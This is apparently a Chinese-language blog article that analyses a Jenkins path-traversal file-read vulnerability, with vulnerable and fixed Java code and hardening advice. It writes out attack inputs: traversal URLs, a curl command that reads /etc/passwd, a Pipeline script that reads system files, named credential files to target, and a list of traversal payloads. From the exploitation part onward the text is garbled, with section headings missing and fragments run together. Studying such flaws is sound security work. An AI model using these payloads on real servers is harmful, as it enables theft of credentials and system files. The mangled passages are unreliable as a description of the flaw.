# Jenkins任意文件讀取漏洞的示例分析
## 前言
Jenkins作為最流行的開源持續集成工具之一,因其強大的擴展性和易用性被廣泛應用于企業級開發環境中。然而,其復雜的功能模塊和插件生態也帶來了潛在的安全風險。本文將通過CVE編號漏洞實例,深入分析Jenkins任意文件讀取漏洞的原理、利用方式及防御措施。
---
## 一、漏洞背景
### 1.1 Jenkins架構特點
Jenkins采用主從架構,核心功能通過插件擴展:
- 基于Java Servlet的Web界面
- Groovy腳本控制臺
- 插件動態加載機制
- 工作空間(Workspace)文件系統訪問
### 1.2 典型漏洞類型
歷史漏洞統計顯示:
- 文件操作類漏洞占比32%
- 反序列化漏洞占比28%
- 權限繞過漏洞占比19%
- XSS/CSRF等Web漏洞占比21%
---
## 二、漏洞實例分析(CVE-2018-1999002)
### 2.1 漏洞基本信息
| 項 | 值 |
|----|----|
| CVE編號 | CVE-2018-1999002 |
| 影響版本 | Jenkins < 2.121.1 |
| 漏洞類型 | 路徑遍歷導致任意文件讀取 |
| CVSS評分 | 6.5 (Medium) |
### 2.2 漏洞原理
在`Stapler`框架處理靜態資源請求時,未正確校驗路徑參數:
```java
// 漏洞代碼示例
public void doDynamic(StaplerRequest req, StaplerResponse rsp) {
String path = req.getRestOfPath();
File file = new File(BASE_DIR, path); // 未做路徑規范化
if(file.exists()) {
rsp.serveFile(req, file);
}
}
攻擊者可構造如下惡意請求:
http://jenkins-server/plugin/..%2f..%2f..%2fetc/passwd
通過%2f(URL編碼的/)實現目錄穿越。
使用curl發送測試請求:
curl -v 'http://target/jenkins/plugin/..%2f..%2f..%2fetc/passwd'
成功讀取時的響應特征:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
常見目標文件:
- /etc/shadow
- $JENKINS_HOME/config.xml
- $JENKINS_HOME/credentials.xml
readFile方法讀取任意文件// 惡意Pipeline腳本示例
node {
def content = readFile '/etc/passwd'
echo content
}
../進行路徑穿越// 修復代碼示例
String safePath = Paths.get(BASE_DIR)
.resolve(Paths.get(path))
.normalize()
.toString();
if(!safePath.startsWith(BASE_DIR)) {
throw new SecurityException("Invalid path");
}
../序列升級策略:
graph LR
A[發現漏洞] --> B{是否有補丁?}
B -->|是| C[立即升級]
B -->|否| D[啟用臨時防護措施]
安全配置:
# jenkins.xml 安全配置示例
<arguments>
-Djenkins.security.ScriptShell.enabled=false
-Dhudson.model.DirectoryBrowserSupport.CSP="sandbox; default-src 'none'"
</arguments>
// 安全方式 Paths.get(”/safe/base”).resolve(userInput).normalize();
2. 權限最小化原則:
- 禁用不必要的插件
- 嚴格控制Script Console訪問
---
## 五、漏洞挖掘方法論
### 5.1 代碼審計重點
1. 文件操作相關API調用點:
- `java.io.File`
- `java.nio.file.Files`
- `File.read*`方法族
2. Web請求處理鏈路:
- Stapler路由機制
- REST API端點
- 插件擴展點
### 5.2 黑盒測試技巧
1. 路徑遍歷測試Payload:
/../../etc/passwd /..%5c..%5cwindows/win.ini /%2e%2e/%2e%2e/etc/shadow
2. 自動化檢測工具:
- Jenkins Exploit Framework (JEF)
- Nuclei模板檢測
---
## 六、總結與啟示
1. 安全啟示:
- 文件操作類漏洞在Java Web應用中高發
- 插件機制顯著擴大攻擊面
- 自動化工具需結合人工審計
2. 未來研究方向:
- 靜態分析工具的規則優化
- 基于行為的運行時防護
- 供應鏈安全檢測
---
## 參考資料
1. Jenkins Security Advisory 2018-07-18
2. OWASP Path Traversal Cheatsheet
3. CWE-22: Improper Limitation of a Pathname
注:本文示例代碼僅用于安全研究,實際測試需獲得系統所有者授權。建議通過Jenkins官方鏡像搭建測試環境進行驗證。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。